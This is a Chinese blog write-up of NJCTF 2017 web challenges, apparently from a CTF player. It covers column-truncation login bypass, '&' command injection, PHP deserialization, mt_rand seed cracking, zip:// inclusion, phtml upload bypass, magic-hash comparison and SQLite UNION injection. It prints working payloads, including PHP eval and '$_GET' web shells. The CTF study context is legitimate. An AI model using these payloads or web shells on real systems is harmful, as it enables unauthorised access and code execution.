HeartSky's blog


在渗透之路上渐行渐远


NJCTF 2017 writeup

NJCTF - XCTF联赛南京站
这次比赛 web 题好多啊 - -

Web

Login - 100

login?
http://218.2.197.235:23731/

弱口令
利用的数据库字段的长度限制,注册一个 admin+很多空格+hs 的用户,登录时用 admin 及注册时的密码就可以成功登录拿到 flag
放个本地 MySQL 的演示就明白了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mysql> CREATE TABLE users(username char(10),password char(10));
Query OK, 0 rows affected (0.11 sec)

mysql> INSERT INTO users VALUES('admin','secret');
Query OK, 1 row affected (0.02 sec)

mysql> INSERT INTO users VALUES('admin 1','123456');
Query OK, 1 row affected, 1 warning (0.02 sec)

mysql> select * from users;
+----------+----------+
| username | password |
+----------+----------+
| admin | secret |
| admin | 123456 |
+----------+----------+
2 rows in set (0.00 sec)

所以 admin 用户是有很多密码的,其中有人登录时用的弱口令,所以出现了最初的情形,不过既然注册时有密码必须包含字母、数字、特殊字符的限制,为什么 admin123 还会登录成功?

Get Flag - 100

别BB,来拿FLAG
PS:delay 5s
http://218.2.197.235:23725/

有一个输入框,输入后会执行 cat 命令,返回一张图片,base64 解密后便可以得到命令的返回值,过滤了很多关键字和符号,包括 ;` ,但是 & 没有被过滤,这样我们就能执行任意的命令了,最后 flag 在根目录下

1
2
1 & cat ../../9iZM2qTEmq67SOdJp%!oJm2%M4!nhS_thi5_flag
NJCTF{Simp13_Pyth0n_C0de_Inj3cti0n_a77ack}cat: images/1: No such file or directory

后来拖源码时才发现 images 目录下有个 flag.txt 放着假的 flag 233

Text wall - 350


https://losfuzzys.github.io/writeup/2016/10/02/tumctf-web50/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
Class filelist{
public function __toString()
{
return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);
}
}

$foo = new filelist();
$foo->source = 'index.php';

$bar = [];
$bar[] = $foo;

$m = serialize($bar);
$h = sha1($m);

echo urlencode($h.$m);
?>

读取 index.php 拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
//The flag is /var/www/PnK76P1IDfY5KrwsJrh1pL3c6XJ3fj7E_fl4g
$lists = [];
Class filelist{
public function __toString()
{
return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);
}
}
if(isset($_COOKIE['lists'])){
$cookie = $_COOKIE['lists'];
$hash = substr($cookie, 0, 40);
$sha1 = substr($cookie, 40);
if(sha1($sha1) === $hash){
$lists = unserialize($sha1);
}
}
if(isset($_POST['hiehiehie'])){
$info = $_POST['hiehiehie'];
$lists[] = $info;
$sha1 = serialize($lists);
$hash = sha1($sha1);
setcookie('lists', $hash.$sha1);
header('Location: '.$_SERVER['REQUEST_URI']);
exit;
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Please Get Flag!!</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="http://apps.bdimg.com/libs/bootstrap/3.3.0/css/bootstrap.min.css">
<script src="http://apps.bdimg.com/libs/jquery/2.1.1/jquery.min.js"></script>
<script src="http://apps.bdimg.com/libs/bootstrap/3.3.0/js/bootstrap.min.js"></script>
</head>
<body>
<div class="container">
<div class="jumbotron">
<h1>Please Get Flag!!</h1>
</div>
<div class="row">
<?php foreach($lists as $info):?>
<div class="col-sm-4">
<h3><?=$info?></h3>
</div>
<?php endforeach;?>
</div>
<form method="post" href=".">
<input name="hiehiehie" value="hiehiehie">
<input type="submit" value="submit">
</form>
</div>
</body>
</html>

再去读 flag 文件,得到 flag
NJCTF{PHP_un5erialization_a77ack_i5_very_Interes71ng}

Guess - 100

Being Tired? ctfer? Here is an easy one for Old Drivers and Meng Xins, everyone knows how to solve it!
http://218.2.197.235:23735/

是一个上传图片的站,有文件包含,读到了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
......

function random_str($length = "32")
{
$set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F","g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L","m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R","s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X","y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
$str = '';

for ($i = 1; $i <= $length; ++$i) {
$ch = mt_rand(0, count($set) - 1);
$str .= $set[$ch];
}

return $str;
}

session_start();



$reg='/gif|jpg|jpeg|png/';
if (isset($_POST['submit'])) {

$seed = rand(0,999999999);
mt_srand($seed);
$ss = mt_rand();
$hash = md5(session_id() . $ss);
setcookie('SESSI0N', $hash, time() + 3600);

if ($_FILES["file"]["error"] > 0) {
show_error_message("Upload ERROR. Return Code: " . $_FILES["file-upload-field"]["error"]);
}
$check1 = ((($_FILES["file-upload-field"]["type"] == "image/gif")
|| ($_FILES["file-upload-field"]["type"] == "image/jpeg")
|| ($_FILES["file-upload-field"]["type"] == "image/pjpeg")
|| ($_FILES["file-upload-field"]["type"] == "image/png"))
&& ($_FILES["file-upload-field"]["size"] < 204800));
$check2=!preg_match($reg,pathinfo($_FILES['file-upload-field']['name'], PATHINFO_EXTENSION));


if ($check2) show_error_message("Nope!");
if ($check1) {
$filename = './uP1O4Ds/' . random_str() . '_' . $_FILES['file-upload-field']['name'];
if (move_uploaded_file($_FILES['file-upload-field']['tmp_name'], $filename)) {
show_message("Upload successfully. File type:" . $_FILES["file-upload-field"]["type"]);
} else show_error_message("Something wrong with the upload...");
} else {
show_error_message("only allow gif/jpeg/png files smaller than 200kb!");
}
}
?>

可以看到上传的文件在原文件名前加上了32位的随机字符串,刚开始想的是上传后爆破这个随机串,但是有 61^32 种可能性,一天也跑不完,后来知道是爆破随机数种子,因为 mt_rand 对于同一个种子来说,产生的随机数序列是固定的,而产生的32位随机串就是用的 mt_rand 来产生的,但是直接请求页面的话太慢了,注意到这几行代码

1
2
3
4
5
$seed = rand(0,999999999);
mt_srand($seed);
$ss = mt_rand();
$hash = md5(session_id() . $ss);
setcookie('SESSI0N', $hash, time() + 3600);

session_id() 是用来获取 会话ID 的,如果把 PHPSESSID 设置为空的话,我们就可以得到 \$ss(即产生的第一个随机数) 的 md5 值,拿到 md5 查询网站上可以得到 \$ss 的值,那么就可以爆破种子,满足第一个随机数与我们的相同的即为我们想要获得的种子。因为 php 爆破还是太慢,我这里用了一个叫 php_mt_seed 的 c语言 写的工具,不到一分钟就可以跑出种子。然后就可以得到文件名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
function random_str($length = "32")
{
mt_srand('10818363');
echo mt_rand()."\n";
$set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F","g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L","m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R","s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
"y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
$str = '';

for ($i = 1; $i <= $length; ++$i) {
$ch = mt_rand(0, count($set) - 1);
$str .= $set[$ch];
}

return $str;
}
echo random_str();
?>

然后利用之前出题时 zip伪协议 包含的思路上传包含 shell 文件的 zip 文件

1
?page=zip://uP1O4Ds/vN3LOt2mcnaAJtBXXraTwrESO3VbjkAt_233.png%23shell

shell.php 文件内容为

1
2
3
<?php
eval($_POST['HeartSky']);
?>

连上蚁剑就可以 getshell 了
http://heartsky.info/images/image/NJCTF_2017_1.png

pictures’ wall - 400

图片墙上有图片
http://218.2.197.235:23719/

有一个登录功能,可以实现任意登录(数据没有经过数据库),登陆上去以后有一个文件上传功能,只有 Root 才能上传文件,但无论以什么用户名登录都会提示

1
2
Root's pictureWall
Root has privileges to upload files

发现把 host 改为 127.0.0.1,就能正常使用文件上传功能
有检测文件后缀和 MIME 类型,还会检测上传文件的内容

学到了一种后缀,phtml,在嵌入了 php 脚本的 html 中,使用 phtml 作为后缀名,所以 payload 如下

1
2
3
4
5
------WebKitFormBoundaryxCi7MJ9QQAEy6w24
Content-Disposition: form-data; name="pic"; filename="test.phtml"
Content-Type: image/png

<script language="php">$_GET['a']($_GET['b'])</script>

然后就 getshell 了,不得不吐槽下看了源码后发现解法都写死了,强行造洞好难受 = =

Wallet - 300

扫目录得到 www.zip 源码包,admin.php 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
require_once "db.php";
$auth = 0;
if (isset($_COOKIE["auth"])) {
$auth = $_COOKIE["auth"];
$hsh = $_COOKIE["hsh"];
if ($auth == $hsh) {
$auth = 0;
} else {
if (sha1((string) $hsh) == md5((string) $auth)) {
$auth = 1;
} else {
$auth = 0;
}
}
} else {
$auth = 0;
$s = $auth;
setcookie("auth", $s);
setcookie("hsh", sha1((string) $s));
}
if ($auth) {
if (isset($_GET['query'])) {
$db = new SQLite3($SQL_DATABASE, SQLITE3_OPEN_READONLY);
$qstr = SQLITE3::escapeString($_GET['query']);
$query = "SELECT amount FROM my_wallets WHERE id={$qstr}";
$result = $db->querySingle($query);
if (!$result === NULL) {
echo "Error - invalid query";
} else {
echo "Wallet contains: {$result}";
}
} else {
echo "<html><head><title>Admin Page</title></head><body>Welcome to the admin panel!<br /><br /><form name='input' action='admin.php' method='get'>Wallet ID: <input type='text' name='query'><input type='submit' value='Submit Query'></form></body></html>";
}
} else {
echo "Sorry, not authorized.";
}
?>

首先要 $auth 为 1,满足

1
sha1((string) $hsh) == md5((string) $auth

这个才可以,因为是 == ,所以我们可以利用 0e564 == 0 的性质来使得条件成立,详情参考 https://www.whitehatsec.com/blog/magic-hashes/

然后下面就是一个 SQLITE 的注入了
http://www.zhutougg.com/2017/02/27/ji-yu-sqliteshu-ju-ku-de-sqlzhu-ru/

1
query=-1 union select 1

可以输出我们想要的值,要先获得表名,SQLITE 没有像 MySQL 中那样包含所有数据库、表、列的 information_schema 库。事实上,对于它而言,没有库的概念,直接对象是表,但是它是有系统表的,即 sqlite_master,表中有这些字段

1
2
3
4
type 类型
name 索引
tbl_name 表名
sql 创建该表的 SQL 语句

因此我们可以从这个表中得到所有表名

1
2
query=-1 union select group_concat(tbl_name) from sqlite_master
Wallet contains: flag,flag,my_wallets,my_wallets

猜测 flag 是在 flag 表中,查询 sql 来得到列

1
2
query=-1 union select group_concat(sql) from sqlite_master
Wallet contains: CREATE TABLE flag (id varchar(255) not null, amount int(30) not null default 0, primary key(id)),CREATE TABLE my_wallets (id varchar(40) not null, amount int(30) not null default 0, primary key(id))

最后 flag 是在 flag 表中的 id 列

1
2
query=-1 union select group_concat(id) from flag
Wallet contains: NJCTF{Th3_m1xtu2e_0F_M4gic_Ha5h_@nd_5Qlite_InJec7ion}

Blog - 150

前端养成之路,从写博客开始
http://218.2.197.235:23727

打开后是一个 Ruby 写的站,提供了源码,因为用 laravel 写过站,很容易看出是用框架写的站,直接看控制器里注册那一部分

1
2
3
4
private
def user_params
params.require(:user).permit(:name, :email, :password, :password_confirmation, :admin)
end

可以看到注册时有 admin 这个参数,但是注册时抓包看一下却没有,然后再去看下创建数据库的语句

1
2
3
4
5
6
7
8
9
create_table "users", force: true do |t|
t.string "name"
t.string "email"
t.datetime "created_at"
t.datetime "updated_at"
t.string "password_digest"
t.string "remember_token"
t.boolean "admin", default: false
end

admin 参数默认为0,也就是说如果 admin 为1的话,就是管理员了
注册时加上 user[admin]=1,因为用户列表中有提示 <!--flag is here-->,所以 flag 就在这里

先写这些,其他的待会再来补